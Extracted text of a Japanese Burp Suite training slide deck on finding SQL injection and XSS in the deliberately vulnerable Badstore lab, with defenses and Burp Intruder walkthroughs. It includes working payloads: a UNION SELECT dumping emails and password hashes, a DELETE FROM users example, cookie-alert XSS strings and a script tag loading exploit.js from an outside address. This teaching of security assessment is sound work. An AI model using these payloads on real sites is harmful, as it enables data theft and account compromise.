SlideShare una empresa de Scribd logo
1 de 69
Badstoreでの診断実践編
SQL Injection & XSS
2017/05/27
Burp Suite Japan User Group
1
http://www.badstore.net/cgi-
bin/initdbs.cgi にアクセス
または
VMを再起動
Badstoreの動きがおかしくなったら
2
SQLインジェクションとは
3
会員制ECサイトの商品検索ページ的なもの
値段や名前を条件として検索が可能
条件にマッチした商品名を画面に表示するだけの機能
例えばこんなWebアプリあったとします
4
通常のアプリの処理の流れ
Webサイト側の内部処理
パラメーター値などが含まれた問い合
わせをWebサイトに要求する
価格が100円の商品を検索
http://exmple.jp?cost=100
Webアプリケー
ション データベース
受信したパラメーター値からSQL文(データ
ベースへの命令文)が組み立てられデータベー
スに命令を送信
SELECT name FROM goods WHERE
cost=100;
データベース内でSQL文が実行された結
果が返る
SQL文の実行結果を元にアプリケーション側で生成されたHTTP
レスポンスの内容がサーバーからの応答として返る
「価格が100円の商品は下記です。缶コーヒー、ガム、アメ」と
表示するHTML
<html><body>…..
サイト利用者
HTTP通信
HTTP Request
HTTP Response
SQL命令
①
②
③
④
name
缶コーヒー
ガム
アメ 5
脆弱な作りのWebアプリケーションの場合、SQL文の断片を含んだ不正なHTTP
リクエストを送信されることによって、外部からデータベースを操作されてしま
う。
SQLインジェクション脆弱性
Webサイト側の内部処理
ユーザー情報を削除するようなSQL文を構成するような文
字列をパラメーター値に入力して送信する
http://exmple.jp?cost=100; DELETE FROM users
脆弱な
Webアプリケー
ション
データベース
受信したパラメーター値をSQL文の一部としてそのまま
利用してしまうバグがあると、本来意図していない命令
がデータベースで実行されてしまう。
SELECT name FROM goods WHERE cost=100;
DELETE FROM users ;
攻撃者
HTTP通信
HTTP Request
HTTP Response
発生しうる被害
 データベースに蓄積された非公開情報閲覧、改ざん、消去
 認証回避による不正ログイン
 ストアドプロシージャー等を利用したOSコマンドの実行
ユーザー情報
を削除
SQL命令
6
Webアプリケーション開発時に脆弱性を作りこまない
ようなコーディングをする必要があります。
SQLインジェクションの対策
1. SQL文の組み立てに静的プレースホルダを利用する。
2. 不正な入力値が存在するか確認し、存在した場合はエラーとする。
※詳細は徳丸本や「安全なSQLの呼び出し方」を参照。
どうやって直せばよいの?
7
SQLインジェクションの
診断方法
8
SQL文の断片を送信して、レスポンスにSQLエラー(DBMS等
が出力するエラーメッセージ)が出力されるか確かめる。
SQLインジェクションの診断例-その1-
SELECT * FROM member WHERE name=‘tanaka’;
 通常時
送信値:tanaka
構成されるSQL文
検索結果:1件
田中
SELECT * FROM member WHERE name=‘’’;
 診断時
送信値:’
構成されるSQL文 SQL error
9
送信した値ごとの応答結果の差分を見て判定する。
SQLインジェクションの診断例-その2-
SELECT * FROM member WHERE name=‘tanaka’ and ‘a’=‘a’;
 条件式が真
送信値:tanaka’ and ‘a’=‘a
構成されるSQL文
検索結果:1件
田中
SELECT * FROM member WHERE name=‘tanaka’ and ‘a’=‘b’;
 条件式が偽
送信値:tanaka’ and ‘a’=‘b
構成されるSQL文
検索結果:0件
なし
10
送信した値ごとの応答結果の差分を見て判定する。
SQLインジェクションの診断例-その3-
SELECT * FROM goods WHERE cost=100 and 1=1;
 条件式が真
送信値:100 and 1=1
構成されるSQL文
検索結果:3件
缶コーヒー
ガム
アメ
SELECT * FROM goods WHERE cost=100 and 1=2;
 条件式が偽
送信値:100 and 1=2
構成されるSQL文
検索結果:0件
なし
11
SQLインジェクションを探してみよう(1)
12
• 「test」を入力して、正常時の挙
動を確かめておく
SQLインジェクションを探してみよう(1)
13
• 検索結果が出力される
SQLインジェクションを探してみよう(1)
14
• Burpのインターセプトを
ONにする
• 「test」を入力して、送信
する
SQLインジェクションを探してみよう(1)
15
• 「test」を「’(シングルクオート)」
に書き換える
SQLインジェクションを探してみよう(1)
16
• 書き換え後、「Forward」ボタンを
クリックし、リクエストを送信する
SQLインジェクションを探してみよう(1)
17
• エラーが表示されるので、脆弱性
有りと判断する
(おまけ)本当に危険なの?
18
• ‘UNION␣SELECT␣email,passwd,pwdhint,0␣FROM␣userdb␣--␣
(最後に空白が必要)
(おまけ)本当に危険なの?
19
• メールアドレス、パスワードハッシュ
パスワードリマインダの答えを盗める
このリクエストで、searchquery 以外
のパラメーターにSQLインジェクション
があるか調べてください。
action
x
y
実習課題(1)
20
SQLインジェクションを探してみよう(2)
21
• 「big@spender.com」
「money」 でログインしてみる
SQLインジェクションを探してみよう(2)
22
• Big Spender でログインできてい
る
SQLインジェクションを探してみよう(2)
23
• 適当なパスワードを入れて、ログ
イン失敗した場合の挙動も見てお
く
SQLインジェクションを探してみよう(2)
24
• BurpのインターセプトをON
にする
• 「big@spender.com」
「money」 を入力して、送
信する
SQLインジェクションを探してみよう(2)
25
• 「big%40spender.com」を
「big%40spender.com'and'a'='a」
に書き換えてForwardする
SQLインジェクションを探してみよう(2)
26
• Big Spender でログインできてい
る
SQLインジェクションを探してみよう(2)
27
• 「big%40spender.com」を
「big%40spender.com'and'a'='b」
に書き換えてForwardする
SQLインジェクションを探してみよう(2)
28
• ログインが失敗する
• 挙動に差があるので、脆弱性有り
と判断する
このリクエストで、email 以外のパラ
メーターにSQLインジェクションがある
か調べてください。
action
SSOid
passwd
Login
実習課題(2)
29
XSSとは
30
会員制ECサイトの商品検索ページ的なもの
値段や名前を条件として検索が可能
条件にマッチした商品名を画面に表示するだけの機能
例えばこんなWebアプリあったとします
31
通常のアプリの処理の流れ
Webサイト側の内部処理
パラメーター値などが含まれた問い合
わせをWebサイトに要求する
価格が100円の商品を検索
http://exmple.jp?cost=100
Webアプリケー
ション データベース
受信したパラメーター値を元に
データベースを検索する
データベースからの検索結果が返る
データベースからの結果を元にHTMLを動的に生成し、
サーバーからの応答として返る
「価格が100円の商品は下記です。缶コーヒー、ガム、アメ」と
表示するHTML
<html><body>…..
サイト利用者
HTTP通信
HTTP Request
HTTP Response
①
②
③
④
name
缶コーヒー
ガム
アメ
32
脆弱な作りのWebアプリケーションの場合、HTMLの断片を含んだ不正なHTTP
リクエストを送信されることによって、不正なHTMLが生成されてしまう。
XSS脆弱性
Webサイト側の内部処理
scriptタグを含んだ文字列をパラメーター値に入力して送信す
る
http://exmple.jp?cost=<script
src=“//192.0.2.1/exploit.js”>
脆弱な
Webアプリケー
ション
HTTP通信
HTTP Request
HTTP Response
発生しうる被害
 ブラウザ内データの窃取(cookieや表示されている画面、キーボード・マウス操作など)
 ブラウザに表示される画面の改ざん(表示内容やフォームの送信先など)
スクリプト
実行
33
サイト利用者
価格が<script src=“//192.0.2.1/exploit.js”>円の
商品はみつかりませんでした。
※サイト利用者自身が不正なパラメーター値を送信するよう誘導するには、
罠を作るなど別途攻撃テクニックが必要だが、本日は割愛
受信したパラメーター値をHTMLの一部として利用してし
まうバグがあると、本来意図していないHTMLタグが生成
されてしまう。特に<script>タグが挿入されると任意の
JavaScriptが実行されてしまう。
Webアプリケーション開発時に脆弱性を作りこまないような
コーディングをする必要があります。
XSSの対策
1. HTML内に特殊文字(<>"&など)を出力する場合は、文字実体参照で
エスケープする。
2. URLを出力する場合は、「http:」「https:」から始まる絶対URLか
「/」から始まる相対URLのみ許可する。
3. 不正な入力値が存在するか確認し、存在した場合はエラーとする。
※詳細は徳丸本や「安全なウェブサイトの作り方」を参照
どうやって直せばよいの?
34
XSSの診断方法
35
HTML断片を送信して、レスポンス(HTMLソース)に診断文
字列がエスケープされずに含まれているか確認する。
XSSの診断例-その1-
 脆弱性なし 価格が&quot;&gt;&lt;hr&gt;の商品はみ
つかりませんでした
 脆弱性あり
価格が"><hr>の商品はみつかりませんでし
た
36
価格の指定が正しくありません
あるいは
送信値:”><hr>
その1と同様に、scriptタグも確認する。
XSSの診断例-その2-
 脆弱性なし
価格が&quot;&gt;&lt;script
&gt;alert(document.cookie)&lt;/scrip
t&gt;の商品はみつかりませんでした
 脆弱性あり 価格が"><script>alert(document.co
okie)</script>の商品はみつかりませんで
した
37
送信値:
"><script>alert(document.cookie)</script>
URL中のファイル名の部分に診断文字列を指定し、レスポンス
(HTMLソース)に診断文字列がエスケープされずに含まれて
いるか確認する。
XSSの診断例-その3-
38
送信値:<script>alert(document.cookie)</script>
GET /service/index.html HTTP/1.1
Host: www.example.jp
User-Agent: Burp Suite
 通常時
 診断時
GET /service/<script>alert(document.cookie)</script> HTTP/1.1
Host: www.example.jp
User-Agent: Burp Suite
javascriptスキームの文字列を送信し、特定の URI 属性(src,
action, background, href, content)や、JavaScript コード
(location.href, location.replace)等に診断文字列が出力さ
れるか確認する。
XSSの診断例-その4-
 脆弱性あり
<a href="javascript:alert(document.co
okie);">戻る</a>
39
送信値:javascript:alert(document.cookie);
XSSを探してみよう
40
• BurpのインターセプトはOFF
でよい。
• 「test」と入力して、送信する
XSSを探してみよう
41
• 今送ったリクエストを選択する
XSSを探してみよう
42
• コンテキストメニューから
「Send to Repeater」を選択
または
• Ctrl+R
XSSを探してみよう
43
• 「test」を「 ”><hr> 」に
書き換える
XSSを探してみよう
44
• 書き換え後、「Go」ボタン
をクリックし、リクエストを
送信する
XSSを探してみよう
45
• レスポンス中に「”><hr>」が
あるか検索する
XSSプロテクションを無効化しておく
(おまけ)Interceptで診断したい場合
46
このリクエストで、searchquery 以外
のパラメーターにXSSがあるか調べてく
ださい。
action
x
y
診断パターンその2~4の挙動も確認し
てください。
実習課題(3)
47
診断の自動化
48
様々な診断タスクを自動化できるツール
予め登録した診断パターンを自動的に送信し、
レスポンスの中から不審な挙動を探し出す
ID番号を順に変化させながら送信し、レスポ
ンスに含まれるデータ収集する
ユーザー名とパスワードのリストを用意し、認
証機能に対して全ての組み合わせを試す
など…
Burp Intruderとは
49
Intruderを使ってみよう(1)
50
• ProxyのHistoryから、商品検索の
リクエストを探して選択する
Intruderを使ってみよう(1)
51
• 右クリックしコンテキストメニューから、
「Send to Intruder」を選択する
または
• Ctrl+I
Intruderを使ってみよう(1)
52
• Positionsタブを選択する
• 診断対象のパラメーターが
「§」マークで括られているこ
とを確認する
Intruderを使ってみよう(1)
53
• Payloadsタブを選択する
• テキストボックスに「'(シングルクオート)」
を入力し、「Add」ボタンをクリックする
Intruderを使ってみよう(1)
54
• 「Start attack」ボタンを
クリックする
Intruderを使ってみよう(1)
55
• アイテムを選択し、レスポンスの
内容を確認する
Intruderを使ってみよう(1)
56
• Optionsタブを選択する
• Grep - Match セクションで
チェックボックスにチェックする
• リストにエラーメッセージに使わ
れそうな単語が登録されているこ
とを確認する
Intruderを使ってみよう(1)
57
• Resultsタブに戻る
• 指定された文字列が含まれるレス
ポンスにチェックが付く
• "検出=脆弱"ではないので、精査
が必要
Intruderを使ってみよう(2)
58
• ProxyのHistoryから、ログインの
リクエストを探して、Intruderに
送る
Intruderを使ってみよう(2)
59
• 「Clear §」をクリックして、ペイロー
ポジションを一旦消す
• パラメーターの後ろにカーソルを移動し
「Add §」を2回クリック
Intruderを使ってみよう(2)
60
• 「Intruder」メニュー
• 「Automatic payload positions」
• 「Append to base parameter value」
に変更する
Intruderを使ってみよう(2)
61
• 'and'a'='a
• 'and'a'='b
• ␣and␣1=1
• ␣and␣1=2
Intruderを使ってみよう(2)
62
• ステータスやサイズに注目して、
「'and'a'='a」と「'and'a'='b」
で差があるものを探す。
Intruderを使ってみよう(2)
63
• リクエスト#0と、差の出た
リクエストを選択する。
Intruderを使ってみよう(2)
64
• 右クリックしコンテキストメ
ニューから、「Send to
Comparer (responses)」を選択
する
Intruderを使ってみよう(2)
65
• 上のペインから、オリジナルリク
エストを選択する
• 下のペインから、「'and'a'='a」
のリクエストを選択する
• 「Words」ボタンをクリック
Intruderを使ってみよう(2)
66
「'and'a'='a」の比較結果
「'and'a'='b」の比較結果
BadStore.netに潜むSQLインジェクション
とXSSを全て見つけ出してください。
実習課題(4)
67
• サプライヤー用ページは対象外と
します。
まとめ
68
簡単な診断パターンでもSQLインジェクションや
XSSの兆候が見つけられる
最終的な判断は人間が行う必要がある
自動診断ツールで見つけられないものもある
その他の脆弱性は、「脆弱性診断スタートガイド」
「Webアプリケーション脆弱性診断ガイドライン」
「ウェブ健康診断仕様」を参照
まとめ
69

Más contenido relacionado

La actualidad más candente

ログイン前セッションフィクセイション攻撃の脅威と対策
ログイン前セッションフィクセイション攻撃の脅威と対策ログイン前セッションフィクセイション攻撃の脅威と対策
ログイン前セッションフィクセイション攻撃の脅威と対策
Hiroshi Tokumaru
 
Amazon Cognito使って認証したい?それならSpring Security使いましょう!
Amazon Cognito使って認証したい?それならSpring Security使いましょう!Amazon Cognito使って認証したい?それならSpring Security使いましょう!
Amazon Cognito使って認証したい?それならSpring Security使いましょう!
Ryosuke Uchitate
 

La actualidad más candente (20)

とある診断員とSQLインジェクション
とある診断員とSQLインジェクションとある診断員とSQLインジェクション
とある診断員とSQLインジェクション
 
SQLインジェクション再考
SQLインジェクション再考SQLインジェクション再考
SQLインジェクション再考
 
UnicodeによるXSSと SQLインジェクションの可能性
UnicodeによるXSSとSQLインジェクションの可能性UnicodeによるXSSとSQLインジェクションの可能性
UnicodeによるXSSと SQLインジェクションの可能性
 
ログイン前セッションフィクセイション攻撃の脅威と対策
ログイン前セッションフィクセイション攻撃の脅威と対策ログイン前セッションフィクセイション攻撃の脅威と対策
ログイン前セッションフィクセイション攻撃の脅威と対策
 
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
 
XSSフィルターを利用したXSS攻撃 by Masato Kinugawa
XSSフィルターを利用したXSS攻撃 by Masato KinugawaXSSフィルターを利用したXSS攻撃 by Masato Kinugawa
XSSフィルターを利用したXSS攻撃 by Masato Kinugawa
 
Monitoring - 入門監視
Monitoring - 入門監視Monitoring - 入門監視
Monitoring - 入門監視
 
CloudFront経由でのCORS利用
CloudFront経由でのCORS利用CloudFront経由でのCORS利用
CloudFront経由でのCORS利用
 
Javaのログ出力: 道具と考え方
Javaのログ出力: 道具と考え方Javaのログ出力: 道具と考え方
Javaのログ出力: 道具と考え方
 
セキュリティの都市伝説を暴く
セキュリティの都市伝説を暴くセキュリティの都市伝説を暴く
セキュリティの都市伝説を暴く
 
Kubernetes Controller for Pull Request Based Environment
Kubernetes Controller for Pull Request Based EnvironmentKubernetes Controller for Pull Request Based Environment
Kubernetes Controller for Pull Request Based Environment
 
XSS再入門
XSS再入門XSS再入門
XSS再入門
 
MongoDBの監視
MongoDBの監視MongoDBの監視
MongoDBの監視
 
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
 
イエラエセキュリティMeet up 20210820
イエラエセキュリティMeet up 20210820イエラエセキュリティMeet up 20210820
イエラエセキュリティMeet up 20210820
 
徳丸本に載っていないWebアプリケーションセキュリティ
徳丸本に載っていないWebアプリケーションセキュリティ徳丸本に載っていないWebアプリケーションセキュリティ
徳丸本に載っていないWebアプリケーションセキュリティ
 
Amazon Cognito使って認証したい?それならSpring Security使いましょう!
Amazon Cognito使って認証したい?それならSpring Security使いましょう!Amazon Cognito使って認証したい?それならSpring Security使いましょう!
Amazon Cognito使って認証したい?それならSpring Security使いましょう!
 
ここが良かったDatadog
ここが良かったDatadogここが良かったDatadog
ここが良かったDatadog
 
とある診断員とAWS
とある診断員とAWSとある診断員とAWS
とある診断員とAWS
 
nioで作ったBufferedWriterに変えたら例外になった
nioで作ったBufferedWriterに変えたら例外になったnioで作ったBufferedWriterに変えたら例外になった
nioで作ったBufferedWriterに変えたら例外になった
 

Similar a [BurpSuiteJapan]Burp Suite実践編

XAML と C# を使った Windows ストアアプリ(LOB)構築のためのtips Prism 4.5 & Kona project 等のご紹介
XAML と C# を使った Windows ストアアプリ(LOB)構築のためのtips   Prism 4.5 & Kona project 等のご紹介XAML と C# を使った Windows ストアアプリ(LOB)構築のためのtips   Prism 4.5 & Kona project 等のご紹介
XAML と C# を使った Windows ストアアプリ(LOB)構築のためのtips Prism 4.5 & Kona project 等のご紹介
Shotaro Suzuki
 
AWSクラウドデザインパターン(CDP) - Eコマース編 -
AWSクラウドデザインパターン(CDP) - Eコマース編 -AWSクラウドデザインパターン(CDP) - Eコマース編 -
AWSクラウドデザインパターン(CDP) - Eコマース編 -
SORACOM, INC
 

Similar a [BurpSuiteJapan]Burp Suite実践編 (20)

20050917
2005091720050917
20050917
 
XAML と C# を使った Windows ストアアプリ(LOB)構築のためのtips Prism 4.5 & Kona project 等のご紹介
XAML と C# を使った Windows ストアアプリ(LOB)構築のためのtips   Prism 4.5 & Kona project 等のご紹介XAML と C# を使った Windows ストアアプリ(LOB)構築のためのtips   Prism 4.5 & Kona project 等のご紹介
XAML と C# を使った Windows ストアアプリ(LOB)構築のためのtips Prism 4.5 & Kona project 等のご紹介
 
【17-C-2】 クラウド上でのエンタープライズアプリケーション開発
【17-C-2】 クラウド上でのエンタープライズアプリケーション開発【17-C-2】 クラウド上でのエンタープライズアプリケーション開発
【17-C-2】 クラウド上でのエンタープライズアプリケーション開発
 
基礎から見直す ASP.NET MVC の単体テスト自動化方法 ~ Windows Azure 関連もあるかも~
基礎から見直す ASP.NET MVC の単体テスト自動化方法 ~ Windows Azure 関連もあるかも~基礎から見直す ASP.NET MVC の単体テスト自動化方法 ~ Windows Azure 関連もあるかも~
基礎から見直す ASP.NET MVC の単体テスト自動化方法 ~ Windows Azure 関連もあるかも~
 
Azure Cosmos DB を使った クラウドネイティブアプリケーションの 設計パターン
Azure Cosmos DB を使った クラウドネイティブアプリケーションの 設計パターンAzure Cosmos DB を使った クラウドネイティブアプリケーションの 設計パターン
Azure Cosmos DB を使った クラウドネイティブアプリケーションの 設計パターン
 
Building asp.net core blazor and elasticsearch elasticsearch using visual stu...
Building asp.net core blazor and elasticsearch elasticsearch using visual stu...Building asp.net core blazor and elasticsearch elasticsearch using visual stu...
Building asp.net core blazor and elasticsearch elasticsearch using visual stu...
 
BPStudy20121221
BPStudy20121221BPStudy20121221
BPStudy20121221
 
Spring bootでweb 基本編
Spring bootでweb 基本編Spring bootでweb 基本編
Spring bootでweb 基本編
 
Elastic on Azure Integration & Building React UI Based Search App Using Azure...
Elastic on Azure Integration & Building React UI Based Search App Using Azure...Elastic on Azure Integration & Building React UI Based Search App Using Azure...
Elastic on Azure Integration & Building React UI Based Search App Using Azure...
 
DLLAB Ignite Update Data Platform
DLLAB  Ignite Update Data PlatformDLLAB  Ignite Update Data Platform
DLLAB Ignite Update Data Platform
 
Smart Store サーバーレスアーキテクチャ編
Smart Store サーバーレスアーキテクチャ編Smart Store サーバーレスアーキテクチャ編
Smart Store サーバーレスアーキテクチャ編
 
20190514 Smart Store - Azure servlerless architecture
20190514 Smart Store - Azure servlerless architecture20190514 Smart Store - Azure servlerless architecture
20190514 Smart Store - Azure servlerless architecture
 
Azure Cosmos DB を使った高速分散アプリケーションの設計パターン
Azure Cosmos DB を使った高速分散アプリケーションの設計パターンAzure Cosmos DB を使った高速分散アプリケーションの設計パターン
Azure Cosmos DB を使った高速分散アプリケーションの設計パターン
 
AWSクラウドデザインパターン(CDP) - Eコマース編 -
AWSクラウドデザインパターン(CDP) - Eコマース編 -AWSクラウドデザインパターン(CDP) - Eコマース編 -
AWSクラウドデザインパターン(CDP) - Eコマース編 -
 
Data Factory V2 新機能徹底活用入門
Data Factory V2 新機能徹底活用入門Data Factory V2 新機能徹底活用入門
Data Factory V2 新機能徹底活用入門
 
Amazon Web Services 最新事例集
Amazon Web Services 最新事例集Amazon Web Services 最新事例集
Amazon Web Services 最新事例集
 
Web App for Containers + MySQLでコンテナ対応したRailsアプリを作ろう!
Web App for Containers + MySQLでコンテナ対応したRailsアプリを作ろう!Web App for Containers + MySQLでコンテナ対応したRailsアプリを作ろう!
Web App for Containers + MySQLでコンテナ対応したRailsアプリを作ろう!
 
Apexコアデベロッパーセミナー(Apexコード)071010
Apexコアデベロッパーセミナー(Apexコード)071010Apexコアデベロッパーセミナー(Apexコード)071010
Apexコアデベロッパーセミナー(Apexコード)071010
 
No-Ops で大量データ処理基盤を簡単に実現する
No-Ops で大量データ処理基盤を簡単に実現するNo-Ops で大量データ処理基盤を簡単に実現する
No-Ops で大量データ処理基盤を簡単に実現する
 
No-Ops で大量データ処理基盤
No-Ops で大量データ処理基盤No-Ops で大量データ処理基盤
No-Ops で大量データ処理基盤
 

[BurpSuiteJapan]Burp Suite実践編